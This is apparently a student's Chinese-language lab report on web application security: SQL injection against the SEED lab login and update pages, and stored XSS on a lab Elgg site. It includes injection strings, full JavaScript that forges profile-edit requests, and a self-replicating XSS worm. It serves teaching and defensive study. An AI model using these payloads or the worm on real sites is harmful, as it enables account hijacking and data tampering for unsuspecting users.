20199323 2019-2020-2 《网络攻防实践》第11周作业
第11章 web应用程序安全攻防
1.实践内容
1.1web应用程序体系结构及其安全威胁
1.1.1web应用体系结构
定义:Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态
web体系结构图:
- 浏览器:我们熟知的浏览器,都使用HTTP/HTTPS协议、HTML语言和Web服务器进行交互。
- Web服务器:通常称为HTTP守护程序,接收web客户端对资源的请求,并在请求上执行一些基本的解析处理确定资源的存在,然后传给web应用程序执行,带web应用程序执行逻辑并返回响应时,web服务器再将响应返回给web客户端,浏览器进行本地执行、渲染和展示。
- web应用程序:web应用的核心。
- 数据库:也叫后台,存储数据的地方,大家一般都用过
- 传输协议HTTP/HTTPS:浏览器和web浏览器、web应用程序和数据库构成的web站点之间的通信传输协议是HTTP/HTTPS协议。默认使用80端口
web应用安全威胁
- 针对浏览器和终端用户的Web浏览安全威胁:以渗透攻击为核心的网页木马、网站钓鱼等。
- 针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、假冒身份攻击、拒绝服务攻击等。
- 系统层安全威胁:Web站点的宿主操作系统,远程渗透和本地渗透等。
- Web服务器软件安全威胁
- web应用程序安全威胁
- Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。
1.1.2web应用安全攻防技术概述
1.1.2.1web应用的收集
- 对服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息等的收集。
- 手工探查web应用程序结构与源代码:静态和动态生成,静态HTML页面包含有价值的隐藏和注释信息,如表单中可能存在会处理、用户标识、口令等敏感信息,注释中可能用户名、SQL字符串,动态页面会使他们探查所使用的脚本编程语言、页面命名规则、以及参数名称、类型与含义等;攻击者探查目录,从中搜索可攻击文件;查看web程序的一些辅助性文件,包括CSS级联样式表、XML样式表等;输入表单,表单是web应用程序接受用户输入的主要途径;查询参数字符串。
- 自动下载与镜像web站点页面:提成了自动化程度,使用户操作方便。
- 使用Google Hacking技术审查与探测Web应用程序:使用Google搜索引擎或其他的Google应用,在web站点中的配置、计算机代码及包含代码中,寻找安全漏洞与敏感信息的计算机黑客技术。
- Web应用程序安全评估与漏洞审查:通常需要一些辅助工具来进行探查、分析和评估。辅助性分析工具包含浏览器插件、免费工具集、商业web应用安全评估系统和漏洞扫描器。
1.1.2.2攻击web服务器软件
目前存在的针对web服务器软件包的渗透攻击下的安全漏洞:
- 数据驱动的远程代码执行安全漏洞:包含缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击
- 服务器功能扩展模块漏洞:一些扩展模块编写质量差容易出现漏洞
- 样本文件安全漏洞
- 源代码泄露
- 资源解析攻击
1.1.2.3攻击web应用程序
从攻击技术角度分为:
- 针对认证机制的攻击
- 授权机制的攻击
- 客户端攻击
- 命令执行攻击
- 信息暴露
- 逻辑攻击
1.1.2.4攻击web数据
- 安全敏感数据泄露:web服务器存在目录遍历漏洞或不安全的目录文件枚举配置;利用web服务器的upload等上传目录临时中转文件;缺乏安全意识,在web站点公开的文档资料中包含个人隐私、企业秘密
- 网站篡改
- 不良信息内容上传:web站点被攻击者入侵和控制后,以及一些允许用户上传内容的论坛、博客网站,可能遭到不良信息内容上传的威胁。
1.1.2.5web应用安全防范措施
- Web站点网络传输安全设防措施:使用HTTPS;通过加密的连接通道;关键web服务器设置静态绑定mac-ip映射。
- Web站点操作系统及服务安全设防措施:操作系统及服务的补丁更新;漏洞扫描;采用提升系统与服务安全性的一般性设防措施。
- Web应用程序安全设防措施:慎用动态页面等。
- Web站点数据安全设防措施:提高维护人员的安全意识,对维护网站的数据安全实施日常监测和防护。
1.1.3SQL注入
代码注入通过利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码
- SQL注入攻击原理:利用web程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。
SQL注入攻击步骤和过程
- 发现SQL注入点
- 判断后台数据库类型
利用数据库服务器的系统变量。
数据库服务器的系统表进行判断。 - 后台数据库中管理员用户口令字猜解:利用SQL注入点猜解表名;猜解字段名;用户名与口令猜解
- 上传ASP后门,得到默认账户权限:在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
- 本地特权提升
- 利用数据库扩展存储过程执行shell命令
SQL注入攻击工具:CSC、NBSI、HDSI、啊D注入工具等。
SQL注入防范措施
- 使用类型安全(type-safe)的参数编码机制。
- 凡是来自外部的用户输入,必须进行完备检查。
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
- 加强SQL数据库服务器的配置与连接。
1.4XSS跨站脚本攻击
- XSS攻击技术原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码,一旦web应用程序没有对这些输入的合法性进行有效检查和过滤,就有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。
攻击类型
持久性攻击
是最严重的XSS漏洞,通常出现于一些可以将用户输入持久性地保存在web服务器端。攻击者通过留言、帖子、评论等方式注入包含恶意脚本的内容后,这些恶意脚本将永久性的包含在网站页面中,从而危害其他阅读留言本、BBS及博客的用户。
非持久性攻击步骤:
- 攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email/HTTP等方式将该攻击发送给其他用户
- 受害用户点击攻击链接后,将会把恶意链接中包含的恶意脚本当作用户名参数提交给bank.com的登陆处理网页
- 网站将会在反馈的欢迎页面中包含恶意客户端脚本。
- 攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌,如会话ID等。
- 攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录并且攻击。
防范措施
服务器端:
- 输入验证: 严格的验证与过滤。
- 输出净化
- 消除危险的输入点
客户端:提高浏览器访问非受信网站时的安全等级\关闭Cookie功能,或设置Cookie只读等。
2.实践过程
实践一:SQL注入实验
首先输入sudo service apache2 start来启动apache
然后输入mysql -uroot -p登陆数据库
对select语句的攻击
登陆www.seedlabsqlinjection.com网站
使用ctrl+U查看网页源代码,发现将表单数据提交到unsafe_home.php页面
找到var/www/SQLInjection/unsafe_home.php,找到相关的SQL语句,where 部分可以注入攻击
将where后边的$input_uname为Admin' #,#相当于注释掉了后边,只要在网页里输入Admin就可以登陆,成功
对update语句的sql注入攻击
这是目前的信息
打开之前文件,
我们发现Admin的eid是99999,我们只需要输入Nickname', Salary='333' where eid='10000';#,就会自动将Admin的工资变为333
修改用户密码
首先获得密码20199323的sha1值
然后和上一个类似输入', password='sha1值' where name='Samy';#
Samy登陆成功
SQL对抗,修复上述SQL注入攻击漏洞
出现这种问题的原因是因为没有预编译,使系统将用户数据和SQL语句弄混,我们只需要将它预处理就好了youbian
进入INJection文件夹,发现有一个已经编译的版本
我们用已经编译的登陆www.seedlabsqlinjection.com/safe_home.php?username=admin'#&Password=
失败
实践二XSS实践
完成以下任务:
(1)发布恶意消息,显示警报窗口:在您的 Elgg 配置文件中嵌入一个 JavaScript 程序,以便当另一个用户查看您的配置文件时,将执行 JavaScript 程序并显示一个警报窗口
(2)弹窗显示 cookie 信息:将 cookie 信息显示
(3)窃取受害者的 cookies:将 cookie 发送给攻击者
(4)成为受害者的朋友:使用 js 程序加受害者为朋友,无需受害者干预,使用相关的工具了解 Elgg 加好友的过程
(5)修改受害者的信息:使用 js 程序使得受害者在访问 Alice 的页面时,资料无需干预却被修改
(6)编写 XSS 蠕虫
(1)弹窗
打开www.xsslabelgg.com网站,输入账号密码登陆,成功
打开个人信息编辑,在brief description文本框输入以下语句:,保存
弹出警报框
(2)弹窗显示cookie信息
在Brief description中插入,会显示cookie信息
(3)盗取cookie,JavaScript将cookies发送到攻击者机器的8888端口,若攻击者的TCP server侦听同一个端口,则可打印出收到的内容:
(4)访问http://www.xsslabelgg.com/profile/boby,F12打开开发者模式,添加好友
我们可以看到传递了3个参数
``
看到已经成功添加好友
(5)修改受害者的信息
修改信息,然后打开开发者模式,看看修改了什么数据
代码:
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
推出alice,登陆boby,在访问alice,然后boby的信息改变
(6)编写 XSS 蠕虫:为了实现蠕虫感染,有如下代码
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
boby访问alice,boby被感染
samy访问boby主业,被感染
3.学习中遇到的问题及解决
- 问题1:编辑unsafe_edit_backend.php文件,一直保存不了
- 问题1解决方案:提升权限
4.实践总结
本周的实验后两个需要编写html代码,对此并不是很熟悉,参考了其他同学和网上的资料,对编写网页大致能看懂,但是写出来一个网页,还需努力。